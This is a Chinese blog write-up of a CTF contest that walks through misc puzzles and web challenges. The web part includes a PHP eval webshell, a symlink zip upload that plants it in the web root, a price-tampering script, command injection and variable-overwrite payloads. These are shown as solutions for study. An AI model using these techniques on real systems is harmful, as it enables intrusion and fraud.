0%

polar春季赛

前言

这周参加了polar春季赛,这一次的靶机问题就是一大槽点,一会容器崩了,一会靶机崩了,打得比较难受。最后名次还可以比上一次进步了

image-20260322143942344

赛后把没写的题跟着官方视频复现一下

misc

麦填

随波逐流分析附件,发现图片末尾还有隐藏的数据,010导入十六进制文件

image-20260322144518636

前面是base64,然后是一张图片

image-20260322144557786

麦填_end

扫描得到flag{win

这里就有一点脑洞了,比赛时试了好久最后的flag是

flag{win789}

time

1
2
3
4
key: 长度为 5\4
线索: 开机时间戳 1630416000
ptdh{dqpfsajpsvjgSVgbVQIFLWXZ}

这里主要是根据密文还有flag{}倒推密钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
def vigenere_decrypt(ciphertext, key):
"""
维吉尼亚密码解密函数
:param ciphertext: 密文字符串
:param key: 密钥字符串
:return: 解密后的明文
"""
decrypted_text = []
key = key.lower() # 统一使用小写字母计算偏移量
key_length = len(key)
key_index = 0

for char in ciphertext:
if char.isalpha():
# 1. 计算当前密钥字符的偏移量 (a=0, b=1, ..., z=25)
shift = ord(key[key_index % key_length]) - ord('a')

# 2. 确定字符的基准编码 (大写 A=65, 小写 a=97)
start = ord('A') if char.isupper() else ord('a')

# 3. 执行逆向位移:(当前坐标 - 偏移量) % 26
decrypted_char = chr((ord(char) - start - shift) % 26 + start)
decrypted_text.append(decrypted_char)

# 4. 只有处理字母时,密钥索引才向后移动
key_index += 1
else:
# 非字母字符(如 { } _ ! 等)原样保留
decrypted_text.append(char)

return "".join(decrypted_text)

# --- 题目数据 ---
cipher_text = "ptdh{dqpfsajpsvjgSVgbVQIFLWXZ}"
secret_key = "kidb"

# --- 执行解密 ---
flag = vigenere_decrypt(cipher_text, secret_key)

print(f"[-] 密文: {cipher_text}")
print(f"[-] 密钥: {secret_key}")
print(f"[+] 结果: {flag}")

flag{timeisgoingfINdaLIFEBOUY}

PNG头的秘密

随波逐流提取数据

image-20260322145247613

d3e4f1e1d3bafab8c7f3c4b9c6dddcbac4e3e2f3c7cddcbac6ddc0f3c7cddfb0,然后用png文件头解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import base64


def brute_force_xor(hex_str):
"""
暴力破解XOR加密的十六进制字符串
尝试所有单字节密钥(0-255),并检查ASCII/Base64解码结果中是否包含flag/ctf关键字
:param hex_str: 待破解的十六进制字符串
"""
data = bytes.fromhex(hex_str)
# 打印表头,格式化输出
print(f"{'Key':<10} | {'Type':<10} | {'Decoded Result'}")
print("-" * 60)

for key in range(256):
# 执行单字节XOR异或操作
xor_res = bytes([b ^ key for b in data])

# 尝试1: 直接作为ASCII字符串解析
try:
raw_text = xor_res.decode('ascii', errors='ignore')
# 检查是否包含flag/ctf关键字(不区分大小写)
if "flag" in raw_text.lower() or "ctf" in raw_text.lower():
print(f"{hex(key):<10} | Direct | {raw_text}")
except Exception:
pass

# 尝试2: 作为Base64字符串解析
try:
# Base64字符集检查(仅包含可打印ASCII字符)
if all(32 <= b <= 126 for b in xor_res):
b64_text = xor_res.decode('ascii')
decoded = base64.b64decode(b64_text).decode('ascii', errors='ignore')
# 检查解码结果是否包含flag/ctf关键字
if "flag" in decoded.lower() or "ctf" in decoded.lower():
print(f"{hex(key):<10} | Base64 | {decoded}")
except Exception:
pass


# 待破解的十六进制数据
target_hex = "d3e4f1e1d3bafab8c7f3c4b9c6dddcbac4e3e2f3c7cddcbac6ddc0f3c7cddfb0"
# 执行暴力破解
brute_force_xor(target_hex)

flag{573495729345792345}

老鹰捉小鸡

这个简单的流量分析

image-20260322145533434

这里有个base64编码。mxhZ3tjYXRjaCA= base64解码的flag{catch ,然后提取压缩包

image-20260322145617799

这里卡了好久,一直以为flag是3段类,找了好久都没找到,最后尝试flag就是这两段

flag{catch you}

Sis puella magic!

附件给了wav,直接听就知道是摩斯密码

image-20260322145819524

... .. ... .--. ..- . .-.. .-.. .- -- .- --. .. -.-.

image-20260322145901342

这里的密码是小写sispuellamagic,第二步我这里因该是非预期了,密码太简单直接爆破出来了

image-20260322150159980

因该是deepsound,密码就是那个图片的文字magiciswitch

image-20260322150430929

文档中有base64编码。image-20260322150533146

base64转文件,魔法少女文字是hope,然后解开压缩包,一眼时间戳

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import re
from pathlib import Path
from datetime import datetime

BASE = datetime.strptime("2035/1/11 11:11:11", "%Y/%m/%d %H:%M:%S")

def extract_time(text: str) -> str:
m = re.search(r"修改时间\s*:\s*([0-9/:\s]+)", text)
if not m:
raise ValueError("没找到 修改时间")
return m.group(1).strip()

def main(folder="."):
folder = Path(folder)
chars = []

files = sorted(
[p for p in folder.glob("*.txt") if p.name != "hint.txt"],
key=lambda p: int(p.stem)
)

for p in files:
text = p.read_text(encoding="utf-16")
t = datetime.strptime(extract_time(text), "%Y/%m/%d %H:%M:%S")
delta = int((t - BASE).total_seconds())
chars.append(chr(delta))
print(f"{p.name:>6} -> {delta:>3} -> {chr(delta)!r}")

flag = "".join(chars)
print("\nFLAG =", flag)

if __name__ == "__main__":
main(".")

image-20260322150739536

隐藏的二维码

随波逐流查看lsb

image-20260322150836313

flag{qrc0de_1s_h1dden_1n_p1xels}

attack_log1

日志分析,太多了用脚本初步分析一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import re
from collections import defaultdict

# 日志文件路径配置
NGINX_ACCESS_LOG = 'nginx_access.log'
OPENCART_ERROR_LOG = 'opencart_error.log'
AUTH_LOG = 'auth.log'

# 提取结果存储容器
web_login_attempts = defaultdict(list) # 存储后台登录IP及对应时间
web_uploaded_files = [] # 存储可疑上传/访问文件路径
ssh_success_logins = [] # 存储SSH成功登录记录

# ====================== 1. 分析Nginx访问日志 ======================
with open(NGINX_ACCESS_LOG, 'r', encoding='utf-8') as f:
for line in f:
# 匹配OpenCart后台登录的POST请求(200响应)
login_match = re.search(r'POST /admin.*HTTP.*" 200', line)
if login_match:
# 提取访问IP和时间戳
ip_match = re.match(r'^(\S+)', line)
time_match = re.search(r'\[(.*?)\]', line)
if ip_match and time_match:
ip = ip_match.group(1)
time = time_match.group(1)
web_login_attempts[ip].append(time)

# 匹配/image/catalog/目录下的可疑文件访问
file_match = re.search(r'GET (/image/catalog/\S+)', line)
if file_match:
file_path = file_match.group(1)
web_uploaded_files.append(file_path)

# ====================== 2. 分析OpenCart错误日志 ======================
with open(OPENCART_ERROR_LOG, 'r', encoding='utf-8') as f:
for line in f:
# 匹配FileManager上传文件的记录
file_upload_match = re.search(r'FileManager: uploaded (.+)', line)
if file_upload_match:
web_uploaded_files.append(file_upload_match.group(1))

# ====================== 3. 分析系统认证日志(SSH登录) ======================
with open(AUTH_LOG, 'r', encoding='utf-8') as f:
for line in f:
# 匹配SSH密码认证成功的记录
ssh_match = re.search(r'Accepted password for (\S+) from (\S+)', line)
if ssh_match:
user = ssh_match.group(1)
ip = ssh_match.group(2)
ssh_success_logins.append({
'user': user,
'ip': ip,
'log': line.strip()
})

# ====================== 4. 输出分析结果 ======================
print("=== OpenCart 后台登录 IP 与时间 ===")
for ip, times in web_login_attempts.items():
print(f"IP: {ip}, 登录次数: {len(times)}, 时间: {times}")

print("\n=== 可疑上传或访问文件 ===")
for file_path in web_uploaded_files:
print(file_path)

print("\n=== SSH 成功登录 ===")
for entry in ssh_success_logins:
print(f"用户: {entry['user']}, IP: {entry['ip']}, 日志: {entry['log']}")

image-20260322151028479

尝试后ip是flag{45.133.12.77}

attack_log2

同上图

flag{2026-02-18 01:28:52}

attack_log3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import re

# 配置项 - 待扫描的日志文件列表
LOG_FILES = [
"nginx_access.log",
"nginx_error.log",
"opencart_error.log",
"auth.log",
"mysql_general.log"
]

# 敏感文件关键字正则(忽略大小写)
# 匹配:.env、wp-config.php、config.php、.htpasswd、.ssh、my.cnf、.git
SENSITIVE_PATTERNS = re.compile(
r"\.env|wp-config\.php|config\.php|\.htpasswd|\.ssh|my\.cnf|\.git",
re.IGNORECASE
)

# 输出文件路径
OUTPUT_FILE = "sensitive_access_attempts.log"

# ====================== 核心扫描逻辑 ======================
with open(OUTPUT_FILE, "w", encoding="utf-8") as out_file:
# 写入结果文件表头
out_file.write("Log File | IP Address | Date/Time | Request Path or Message\n")

# 遍历所有日志文件
for log_file in LOG_FILES:
try:
# 读取日志文件(忽略编码错误)
with open(log_file, "r", encoding="utf-8", errors="ignore") as f:
for line in f:
# 检查行中是否包含敏感文件关键字
if SENSITIVE_PATTERNS.search(line):
# 1. 提取IP地址(IPv4)
ip_match = re.search(r"\b\d{1,3}(?:\.\d{1,3}){3}\b", line)
ip = ip_match.group(0) if ip_match else "N/A"

# 2. 提取日期/时间([]包裹的内容)
date_match = re.search(r"\[([^\]]+)\]", line)
date = date_match.group(1) if date_match else "N/A"

# 3. 提取HTTP请求路径(GET/POST等方法后的路径)
path_match = re.search(r'\"(GET|POST|HEAD|PUT|DELETE) ([^\s]+)', line)
path = path_match.group(2) if path_match else "N/A"

# 写入结果到输出文件
out_file.write(f"{log_file} | {ip} | {date} | {path}\n")

except FileNotFoundError:
# 日志文件不存在时给出警告,跳过该文件
print(f"Warning: {log_file} not found, skipping.")

# 扫描完成提示
print(f"Scan completed. Results saved to {OUTPUT_FILE}")

image-20260322151512757

flag{/.env}

attack_log4

image-20260322151544024

flag{admin}

attack_log5

在mysql日志中有

SELECT order_id,total FROM oc_order ORDER BY date_added DESC LIMIT 5;

这是最核心的订单主表,存储订单的基础信息(订单 ID、金额、创建时间等)

flag{oc_order}

attack_log6

SELECT product_id FROM oc_product WHERE status=1 LIMIT 20;

SELECT product_id,model,price FROM oc_product ORDER BY date_added DESC LIMIT 5;

这些语句直接操作 oc_product 表,查询商品 ID、型号、价格等核心商品信息,是日志中唯一被查询的商品数据表

flag{oc_product}

lib1

这个算是签到题当是写出来,那是直接那个mysql服务找了半天,也没找到,就没有再写了,还有就是工具问题,没有用xshell,还有navicat方便解题,这次又学到了。答案在那个polar比赛前的直播中

image-20260322153233335

猎踪——电子数据取证技术与实战

flag{36ff27349d055ddd3501c8208ee162e9}

lib2

这是用xshell连接,方便一点

image-20260322154036806

看到运行了两个服务,有配置信息

image-20260322154345238

连接一下数据库

image-20260322155518464

这里也可以看到那个图书名,在web_log

image-20260322155844092

这里有哈希

lib3

启动polar2靶机,看app.py,直接让ai分析一下

image-20260322161049975

image-20260322161126817

image-20260322161616717这里可能是格式问题,看的行号不一样,最后flag

flag{app.py:borrow:392}

lib4

image-20260322161806275

flag{WL10000009}

web

sqlmap一把梭

img

img

img

并发上传

有题目名可以猜到是条件竞争,当上传成功后没有访问到,应该是上传后就被删除了,利用条件竞争写入shell然后蚁剑来连接

image-20260323205815057

Signed_Too_Weak

image-20260322171617090

这个key是一个jwt,猜测是polarimage-20260322171723134

伪造admin的jwt得到flagimage-20260322171826021

static

经典文件读取,使用….//绕过waf

coke粉丝团

找一下10级粉丝团灯牌

1
for(let p=1;p<=60;p++){fetch('shop.php?page='+p).then(r=>r.text()).then(html=>{if(html.includes('等级 10')||html.includes('coke10.png')){alert('找到了!在第 '+p+' 页\n复制下面链接点开:\n'+location.origin+'/shop.php?page='+p);}})}

image-20260322172351941

image-20260322172730185

看到钻石不够,看一下购买逻辑

image-20260322172814433

价格编号和等级。这里直接伪造10级灯牌

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
import requests
from bs4 import BeautifulSoup
import re

# ==================== 核心配置区 ====================
# 目标服务器地址
BASE_URL = "http://ac7d34ac-bf0e-4a91-8ca6-317f798da7cb.www.polarctf.com:8090/"

# 请求Cookies(已填充)
COOKIES = {
"PHPSESSID": "f6um4p3aiuclmpchaa1f527d8u",
"jwt_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IjEifQ.XTOztXriGQ874YRnxa1sxrNbVf6ksoAvikhGTnTdMxQ"
}

# 请求头配置
HEADERS = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"Referer": f"{BASE_URL}/shop.php?page=52"
}

# ==================== 初始化会话 ====================
# 创建会话并配置Cookies,保持请求一致性
session = requests.Session()
session.cookies.update(COOKIES)


# ==================== 核心功能函数 ====================
def get_10_level_card_id():
"""访问第52页,提取10级灯牌的card_id"""
print("🚀 直接访问第52页寻找10级灯牌...")

# 发送GET请求访问第52页
try:
resp = session.get(
url=f"{BASE_URL}/shop.php?page=52",
headers=HEADERS,
timeout=10
)
resp.raise_for_status() # 主动抛出HTTP异常
except requests.exceptions.RequestException as e:
print(f"❌ 页面加载失败:{str(e)}")
return None

# 解析页面HTML
soup = BeautifulSoup(resp.text, "html.parser")

# 查找10级灯牌对应的input标签
level_input = soup.find("input", {"name": "level", "value": "10"})
if not level_input:
print("❌ 第52页没有找到10级灯牌(请确认页面编号是否正确)")
return None

# 从父表单中提取card_id
form = level_input.find_parent("form")
card_input = form.find("input", {"name": "card_id"})
if not card_input or "value" not in card_input.attrs:
print("❌ 未找到10级灯牌对应的card_id")
return None

card_id = card_input["value"]
print(f"🎉 找到10级灯牌!编号 #{card_id}")
return card_id


def buy_card_with_modified_price(card_id):
"""强制修改价格为80钻石购买指定card_id的灯牌"""
if not card_id:
return False

# 构造购买请求数据(核心:价格篡改)
buy_data = {
"card_id": card_id,
"level": "10",
"price": "80" # 关键:将价格篡改为80
}

print(f"🛒 正在以80钻石购买 #{card_id}...")
try:
buy_resp = session.post(
url=f"{BASE_URL}/buy.php",
data=buy_data,
headers=HEADERS,
timeout=10
)
buy_resp.raise_for_status()
return True
except requests.exceptions.RequestException as e:
print(f"❌ 购买请求失败:{str(e)}")
return False


def extract_flag_and_message():
"""刷新页面提取flag和Coke老师的话"""
try:
shop_resp = session.get(
url=f"{BASE_URL}/shop.php",
headers=HEADERS,
timeout=10
)
shop_resp.raise_for_status()
html = shop_resp.text
except requests.exceptions.RequestException as e:
print(f"❌ 刷新页面失败:{str(e)}")
return

# 提取Flag(匹配常见CTF flag格式)
flag_pattern = r'(flag\{[^}]+\}|ciscn\{[^}]+\}|polarctf\{[^}]+\})'
flag_match = re.search(flag_pattern, html, re.IGNORECASE)

if flag_match:
print("\n🎉🎉🎉 FLAG 拿到手了!!!")
print(f"📜 Flag:{flag_match.group(1)}")
else:
print("✅ 购买成功!未检测到Flag,请手动刷新浏览器查看")

# 提取Coke老师的话
msg_pattern = r'Coke老师的话:.*?(?=</p>|<div>|$)'
msg_match = re.search(msg_pattern, html, re.DOTALL | re.IGNORECASE)
if msg_match:
print(f"\n📢 Coke老师的话:{msg_match.group(0).strip()[:300]}")


# ==================== 主程序入口 ====================
if __name__ == "__main__":
# 1. 提取10级灯牌card_id
card_id = get_10_level_card_id()

# 2. 篡改价格购买灯牌
buy_success = buy_card_with_modified_price(card_id)

# 3. 提取Flag和提示信息
if buy_success:
extract_flag_and_message()
else:
print("❌ 购买流程失败,终止操作")

image-20260322172926517

依旧伪造jwt,这次的密钥是coke

image-20260322173019653

image-20260322173042754

杰尼龟系统

这里就是rce,不过有假的flag。关键要找flag

;find / -name "flag*"

image-20260322173733891

服了,比赛时没看到那个var/tmp/flag,当时盐津虾了痛失300分

image-20260322173857855

The Gift

1
2
3
4
$requestData = array_merge($_GET, $_POST);
foreach ($requestData as $key => $value) {
$$key = $value;
}

这要就是这个变量覆盖,然后获得flag的条件

1
2
3
4
5
if (is_array($config) && isset($config['isAdmin']) && $config['isAdmin'] === 'true') {
die("Success" . $FLAG);
} else {
echo "<br>Access Denied.";
}

payload

?config[isAdmin]=true

image-20260322174140728

云中来信

进去就是一个ssrf,设置了白名单,经过测试可以使用@绕过

image-20260322181209686

然后当时就卡住了。看wp知道时云元数据攻击

image-20260322181354682

image-20260322181438107

image-20260322181954935

image-20260322182030245

Pandora Box

先随便上传一个图片image-20260323185649798

这里看到在原有的基础上拼接了一个.php,导致文件包含失败,可以使用压缩包+zip为协议绕过,把php木马压缩为zip,再修改后缀为jpg上传,再使用zip伪协议读取

image-20260323190613238

新年贺卡

关键就是代码审计,这里看主要代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
case 'admin':

if (isset($_GET['debug'])) {
$debug = $_GET['debug'];


if ($debug === 'show_templates') {
echo "<h1>模板列表</h1>";
$templates = TemplateManager::getAvailableTemplates();
echo "<pre>";
print_r($templates);
echo "</pre>";


echo "<h2>模板目录文件:</h2>";
echo "<pre>";
print_r(scandir(TEMPLATE_DIR));
echo "</pre>";
}


else if ($debug === 'add_template' && $_SERVER['REQUEST_METHOD'] === 'POST') {
$name = $_POST['template_name'] ?? '';
$content = $_POST['template_content'] ?? '';

try {
TemplateManager::addTemplate($name, $content);
echo "<p style='color: green;'>模板 '$name' 添加成功!</p>";


$filePath = TEMPLATE_DIR . $name . '.php';
if (file_exists($filePath)) {
echo "<p>文件路径: " . $filePath . "</p>";
echo "<p>文件权限: " . substr(sprintf('%o', fileperms($filePath)), -4) . "</p>";
}
} catch (Exception $e) {
echo "<p style='color: red;'>错误: " . $e->getMessage() . "</p>";
}
}

就是当?action=admin就会进入这个分支,然后设置debug=add_template就会有一个添加模板的功能,分别传入模板名还有模板内容,同时会在模板名字后拼接一个php,这就可以写🐎进去

image-20260323192651647

image-20260323193358658

GET

文件上传尝试一下

image-20260323195004476

有文件后缀检测,双写绕过

image-20260323195116269

image-20260323205123659

文件内容容base64编码绕过,然后蚁剑连接,找了一圈没找到flag,看到robots.txtimage-20260323205310361

还有那两个php文件

image-20260323205411617

如果不用蚁剑连接的话,需要根据robots.txt的提示想到文件包含,用蚁剑方便

狗黑子最后的起舞

image-20260323201309687

扫描发现有一个login.php,尝试注册登入image-20260323201400450

这里看到有个ghzpolar目录,再扫一下

image-20260323201446405

git泄露,发现一个gouheizi.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_FILES['file'])) {
$f = $_FILES['file'];
if ($f['error'] === UPLOAD_ERR_OK) {
$dest = '/etc/' . time() . '_' . basename($f['name']);
if (move_uploaded_file($f['tmp_name'], $dest)) {
$escapedDest = escapeshellarg($dest);
exec("unzip -o $escapedDest -d /etc/ 2>&1");
if ($code !== 0) {
exec("unzip -o $escapedDest -d /etc/ 2>&1");
}
unlink($dest);
echo "ghz";
}
}
}

收前端上传的文件,将文件保存到服务器的 /etc/ 目录下,尝试用 unzip 命令解压该文件到 /etc/ 目录,解压完成后删除上传的文件,最后输出字符串 “ghz”,这里考察软链接,我们希望的的解压到/var/www/html目录下,-o 参数会覆盖已存在的文件 / 软链接,为后续覆盖软链接、写入 Webshell 提供条件,先传一个软链接

1
2
3
4
5
6
7
8
# 1. 创建软链接:test 指向 /var/www/html(Web根目录)
ln -s /var/www/html test

# 2. 打包软链接为zip(--symlinks 必须加,保留软链接属性)
zip --symlinks test1.zip test

# 验证:查看zip内是否包含软链接(输出含 lrwxrwxrwx 即为成功)
unzip -l test1.zip

由于没有上传页面,我们需要自己上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form action="http://36a5ebc1-18d1-4556-b22b-903525cf44bd.www.polarctf.com:8090/ghzpolar/gouheizi.php" method="POST" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" name="submit">
</form>
</body>
</html>

image-20260323203728813

然后上传构造的zip

1
2
3
4
5
6
7
8
9
# 1. 先在本地创建test目录(和软链接同名),并写入一句话木马
mkdir test
echo '<?php @eval($_POST["cmd"]);?>' > test/cmd.php

# 2. 递归打包test目录(-r 保留目录结构)
zip -r test1.zip test

# 验证:zip内包含 test/cmd.php(路径对应 /tmp/test/cmd.php = /var/www/html/cmd.php)
unzip -l test1.zip

image-20260323204447123

总结

这次的比赛就是平台有点问题,其他的没啥。继续加油👍👍👍